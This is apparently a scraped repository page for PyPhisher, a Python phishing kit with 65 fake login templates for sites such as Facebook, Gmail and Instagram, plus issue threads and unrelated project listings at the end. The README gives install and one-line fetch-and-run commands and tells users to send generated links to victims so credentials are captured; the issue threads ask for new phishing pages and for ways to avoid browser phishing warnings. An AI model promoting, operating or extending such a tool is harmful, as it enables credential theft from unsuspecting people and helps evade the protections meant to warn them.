Easy to use phishing tool with 65 website templates. Author is not responsible for any misuse.

Overview

PyPhisher



[+] Description :

Ultimate phishing tool in python. Includes popular websites like facebook, twitter, instagram, github, reddit, gmail and many others.

[+] Installation

Install primary dependencies (git and python)
  • For Debian
    • sudo apt install git python -y
  • For Arch
    • sudo pacman -S git python --noconfirm
  • For Fedora
    • sudo yum install git python -y
  • For Termux
    • pkg install git python -y
Clone this repository
  • git clone https://github.com/KasRoudra/PyPhisher
Enter the directory
  • cd PyPhisher
Run the tool
  • python3 pyphisher.py

Or, directly run

wget https://raw.githubusercontent.com/KasRoudra/PyPhisher/main/pyphisher.py && python3 pyphisher.py

Options

usage: pyphisher.py [-h] [-p PORT] [-o OPTION]
                    [--update | --no-update]

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  PyPhisher's server port [ Default : 8080 ]
  -o OPTION, --option OPTION
                        PyPhisher's template index [ Default : null ]
  --update, --no-update
                        Check for update (default: True)

Features:

  • Multi platform (Supports most linux)
  • 65 Website templates
  • Dual Tunneling (Ngrok and Cloudflared)
  • Easy to use
  • Possible error diagnoser
  • Built-in masking of url
  • Custom masking of url
  • Portable file (Can be run from any directory)
  • Get IP Address and many other details along with login credentials

Requirements

  • Python(3)
  • PHP
  • Curl
  • Unzip
  • Wget
  • 100MB storage

If not found, all of the required packages will be installed on first run

Tested on

  • Termux
  • Kali-Linux

Usage

  1. Run the script
  2. Choose a Website
  3. Wait sometimes for setting up all
  4. Send the generated link to victim
  5. Wait for victim login. As soon as he/she logs in, credentials will be captured

Example

PyPhisher

Video Tutorial

PyPhisher Video

[+] Disclaimer

This tool is developed for educational purposes. Here it demonstrates how phishing works. If anybody wants to gain unauthorized access to someones social media, he/she may try out this at his/her own risk. You have your own responsibilities and you are liable to any damage or violation of laws by this tool. The author is not responsible for any misuse of PyPhisher!

This repository is open source to help others. So if you wish to copy, consider giving credit!

Credits: HTR-Tech and JayKali

If this tool helped you, consider staring repository. Your stars encourage me a lot!

[+] Find Me on :

  • facebook
  • messenger
  • email
Comments
  • I want to use custom domain via NGROK pro

    I want to use custom domain via NGROK pro

    Hello. I have my own domain and I bought Ngrok pro membership. Randomly generated Ngrok links are working. But I want to connect to the login page with my own domain.

    Ngrok gives me a code like this; ngrok http --region=us --hostname=mydomain.com 80

    opened by ilhan7777 37
  • Update tool and templates PyPhisher.

    Update tool and templates PyPhisher.

    Hello friend, it would be good if you update the PyPhisher tool for a better use, do not remove it from gtjub or anything similar pls, it is the best tool for phishing that I have tried bro, I hope you can update the templates of this tool, to others I have shared your PyPhisher tool thousands of times bro, I know you can, go ahead friend.

    enhancement 
    opened by Darkrevengehack 33
  • i found something

    i found something

    hi again this is about the Amino Apps page again. I was going into Javascript console and when I clicked ''sign in with email'' or ''phone'' and then click ''all sign in options'' to go back to the screen i would get this in the console. Screenshot 2021-12-17 11 25 37 PM Screenshot 2021-12-17 11 28 56 PM

    it seems to be running some sort of script that takes me back to the page. so i clicked on the hyperlink text and it and pressed the arrow on the ''static/img'' and it has all the files from the page it takes you from logging in. and beneath all the files it has (index) can there be some way to plug this into the page and test it to see if it will work this time?

    opened by oaosdpo 30
  • Can you make a login page for Amino Apps?

    Can you make a login page for Amino Apps?

    https://aminoapps.com/login this site right here but make facebook and google (the option the person has to login to their account) redirect to a replit site and give that a phishing code? the phone and email are within the page so there isn't a need for that.

    opened by oaosdpo 29
  • For mobile, the ip information does not come out.

    For mobile, the ip information does not come out.

    When logging in to the url from the PC, Victim Ip information is displayed, but the system does not notice that the login is made when entered from the mobile. (form registration works)

    opened by ilhan7777 17
  • plz help me

    plz help me

    (kali㉿kali)-[~] └─$ cd PyPhisher

    ┌──(kali㉿kali)-[~/PyPhisher] └─$ python3 pyphisher.py --noupdate

    [+] Please wait!

    [+] Downloading Ngrok...

    ┌──(kali㉿kali)-[~/PyPhisher] └─$ python3 pyphisher.py

    [+] Please wait! [!] No internet!

    [!] No internet!

    [!] No internet! plz help i have nbo vpn connected and my network is stabble

    opened by calilope 16
  • PHP Error

    PHP Error

    Hi, i have a problem running the .py on Termux. When i select the option, the PHP tries to initialize, but then it gives PHP Error. I have all the requerimients downloaded and upgraded. How can i solve that?

    opened by Ajotah98 16
  • ngrok authtoken error

    ngrok authtoken error

    ngrok config add-authtoken {token} is deprecated ngrok authtoken {token} is working

    please fix it.

    Most awesome phishing tool I ever used. Keep up the good work.

    opened by thechiragjogani 15
  • need help with new google

    need help with new google

    can you send a video or demonstration on how you got it to work? can you make a new replit and put the site on there without pyphisher and just the files?

    opened by oaosdpo 15
  • OTP in new version (1.8) faulty

    OTP in new version (1.8) faulty

    After clicking on "i want otp page" and following all steps and getting to the 2 step authentication which is the otp, i shows me what i think is an Indian number "+91" instead of showing the number i put. what is the problem??

    opened by petrovichalex 14
  • no internet, please help

    no internet, please help

    python3 pyphisher.py 130 ⨯

    [+] Please wait!

    [!] No internet!
    [!] No internet!
    here is the error

    opened by Lilpablo999 14
  • Discord Option Number 64

    Discord Option Number 64

    Discord or number 64 is broken won’t work when going to the link everything ive used so far works perfectly just discord option and it’s url doesn’t work

    opened by fourletterbackup 8
  • Cloudflared link problem

    Cloudflared link problem

    KasRoudra,sorry for the late reply,I know that you closed the previous subject,I didn't have a chance to test what you told me,I was out of the country for work...

    I did what u told me.I typed (rm -rf ~/websites),then downloaded websites again and tested it on several phones,and the problem is still there...

    In the previous post I did not describe some details, there is another problem with the URL structure when I create a custom link, which I will describe in another post.

    Full description of the problem with (cloudflare) phishing link.

    So,when I create a (cloudflared) link and send it to someone,when the victim opens that link,browser throws out the following message...

    IMG-7129834b21ad5ab33fd54c23c477a737-V

    To avoid confusion, this message is in Serbian language.And it says that there is a misleading site in front of you,that someone can steal your data,etc...but I found the same pop-up page on the internet with the same message, which is in English.

    x

    The browser detects the link as malicious,phishing etc...

    The same kind of message like this appeared when I used another script (zphisher) before.Only in a different format,but basically the same.

    x2

    PyPhisher seems like a very useful script to me,and I really like it,of all the ones I know, pyphisher is the best in my opinion,it has the most possibilities. It would be good if this problem can be solved.

    wontfix 
    opened by Zehir568 4
  • Suggestion with the templates

    Suggestion with the templates

    the template website are not updated looks different with the current looks of the login page of facebook yahoo gmail instagram.. example yahoo looks much different with the yahoo login page .

    enhancement 
    opened by techstartupexplorer 4
Releases(v2.1)
Owner
KasRoudra
Learning full stack development and app development. Check out my creative projects!
KasRoudra
To attract customers, the hotel chain has added to its website the ability to book a room without prepayment

To attract customers, the hotel chain has added to its website the ability to book a room without prepayment. We need to predict whether the customer is going to reject the booking or not. Since in c

Taychinov Evgeniy 0 Aug 04, 2022
Demo of using DataLoader to prevent out of memory

Demo of using DataLoader to prevent out of memory

3 Jun 25, 2022
Wordle is fun, so let's ruin it with computers.

ruin-wordle Wordle is fun, so let's ruin it with computers. Metrics This repository assesses two metrics about each algorithm: Success: how many of th

Charles Tapley Hoyt 11 Feb 11, 2022
Demo content - Automate your automation!

Automate-AAP2 Demo Content - Automate your automation! A fully automated Ansible Automation Platform. Context Installing and configuring Ansible Autom

0 Oct 27, 2022
Decentralized intelligent voting application.

DiVA Decentralized intelligent voting application. Hack the North 2021. Inspiration Following the previous US election, many voters were fearful that

Ali Shariatmadari 4 Jun 05, 2022
A gamey, snakey esoteric programming language

Snak Snak is an esolang based on the classic snake game. Installation You will need python3. To use the visualizer, you will need the curses module. T

David Rutter 3 Oct 10, 2022
A curated list of awesome things related to Pydantic! 🌪️

Awesome Pydantic A curated list of awesome things related to Pydantic. These packages have not been vetted or approved by the pydantic team. Feel free

Marcelo Trylesinski 186 Jan 05, 2023
Enjoy Discords Unlimited Storage

Discord Storage V.3.5 (Beta) Made by BoKa Enjoy Discords free and unlimited storage... Prepare: Clone this from Github, make sure there either a folde

0 Dec 16, 2021
Kellogg bad | Union good | Support strike funds

KelloggBot Credit to SeanDaBlack for the basis of the script. req.py is selenium python bot. sc.js is a the base of the ios shortcut [COMING SOON] Set

407 Nov 17, 2022
Mannaggia is a python application to praise or more likely to curse the saints

Mannaggia-py 👼 Remember Mannaggia? This is a Python remake of it, with new features. mannaggia is a python application to praise or more likely to cu

Christian Visintin 9 Aug 12, 2022
A Python library for inspecting JVM class files (.class)

lawu Lawu is a human-friendly library for assembling, disassembling, and exploring JVM class files. It's highly suitable for automation tasks. Documen

Tyler Kennedy 45 Oct 23, 2022
A collection of some leetcode challenges in python and JavaScript

Python and Javascript Coding Challenges Some leetcode questions I'm currently working on to open up my mind to better ways of problem solving. Impleme

Ted Ngeene 1 Dec 20, 2021
Download and process GOES-16 and GOES-17 data from NOAA's archive on AWS using Python.

Download and display GOES-East and GOES-West data GOES-East and GOES-West satellite data are made available on Amazon Web Services through NOAA's Big

Brian Blaylock 88 Dec 16, 2022
Stop python warnings, no matter what!

SHUTUP - Stop python warnings, no matter what! Sometimes you just can't mute python warnings. Use this library to solve this. Installation pip install

80 Jan 04, 2023
Covid 19 status. Flask application. CovidAPI. Heroku.

Covid 19 In this project we see total count of people who got this virus and total death. How does it works Written in Python. Web app, Flask. package

AmirHossein Mohammadi 12 Jan 16, 2022
Automated Content Feed Curator

Gathers posts from content feeds, filters, formats, delivers to you.

Alper S. Soylu 2 Jan 22, 2022
SWS Filters App - SWS Filters App With Python

SWS Filters App Fun 😅 ... Fun 😅 Click On photo and see 😂 😂 😂 Your Video rec

Sagar Jangid 3 Jul 07, 2022
Script to calculate the italian fiscal code of a person.

fiscal_code Hi! This is my first public repository, so please be kind if it is not well formatted or it contains errors. I started learning Python abo

FrancescoDiMuro 1 Nov 20, 2021
Ml-design-patterns - Source code accompanying O'Reilly book: Machine Learning Design Patterns

This is not an official Google product ml-design-patterns Source code accompanying O'Reilly book: Title: Machine Learning Design Patterns Authors: Val

Google Cloud Platform 1.5k Jan 05, 2023
Design-by-contract in Python3 with informative violation messages and inheritance

icontract icontract provides design-by-contract to Python3 with informative violation messages and inheritance. It also gives a base for a flourishing

275 Jan 02, 2023